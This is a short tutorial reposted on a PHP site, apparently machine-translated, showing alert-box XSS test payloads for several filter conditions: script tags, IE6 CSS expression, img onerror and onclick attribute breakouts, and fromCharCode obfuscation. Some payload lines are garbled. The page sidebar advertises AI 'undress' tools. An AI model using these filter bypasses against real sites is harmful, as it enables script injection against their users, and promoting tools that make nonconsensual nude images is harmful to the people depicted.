search
HomeOperation and MaintenanceSafetyHow is the small test of xss carried out?

  • No security restrictions, use directly

##<script>alert(/xss/);</script>

  • Restrictions: Only CSS can be used, html tags are not allowed

We know that expression can be used to construct XSS, but it can only be tested under IE. Therefore, please perform the following test in IE6.

body {
black;
xss:alert(/xss/));/*IE6下测试*/
}
  • Restrictions: HTML is escaped and the Image tag is available

    .

The characters entered in the test will be inserted into the src address, so you can use a pseudo-protocol to bypass it.

Enter directly

alert( /xss/);
Or you can use events to bypass, just pay attention to the closing statement, as follows:

1" onerror=alert(/xss/); var a="1

  • Restriction condition: Keyword filtering is used.

I tested it, most of it was filtered, and some were not filtered. After testing script/onerror, it was filtered, but onclick was not filtered. Use the onclick event to bypass

<img  alt="How is the small test of xss carried out?" >
  • Restrictions: Use addslashes to escape the characteristic characters

That is to say, single quotes, double quotes, etc. cannot appear in our XSS statements. Characteristic characters.

Use

<script>alert(/xss/);</script>
directly to bypass

or use the String.fromCharCode method, as follows:


<script>eval(String.fromCharCode(97,108,101,114,116,40,47,120,47,41,59));</script>

The above is the detailed content of How is the small test of xss carried out?. For more information, please follow other related articles on the PHP Chinese website!

Statement
This article is reproduced at:亿速云. If there is any infringement, please contact admin@php.cn delete

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

MantisBT

MantisBT

Mantis is an easy-to-deploy web-based defect tracking tool designed to aid in product defect tracking. It requires PHP, MySQL and a web server. Check out our demo and hosting services.

WebStorm Mac version

WebStorm Mac version

Useful JavaScript development tools

SecLists

SecLists

SecLists is the ultimate security tester's companion. It is a collection of various types of lists that are frequently used during security assessments, all in one place. SecLists helps make security testing more efficient and productive by conveniently providing all the lists a security tester might need. List types include usernames, passwords, URLs, fuzzing payloads, sensitive data patterns, web shells, and more. The tester can simply pull this repository onto a new test machine and he will have access to every type of list he needs.

SAP NetWeaver Server Adapter for Eclipse

SAP NetWeaver Server Adapter for Eclipse

Integrate Eclipse with SAP NetWeaver application server.

Dreamweaver Mac version

Dreamweaver Mac version

Visual web development tools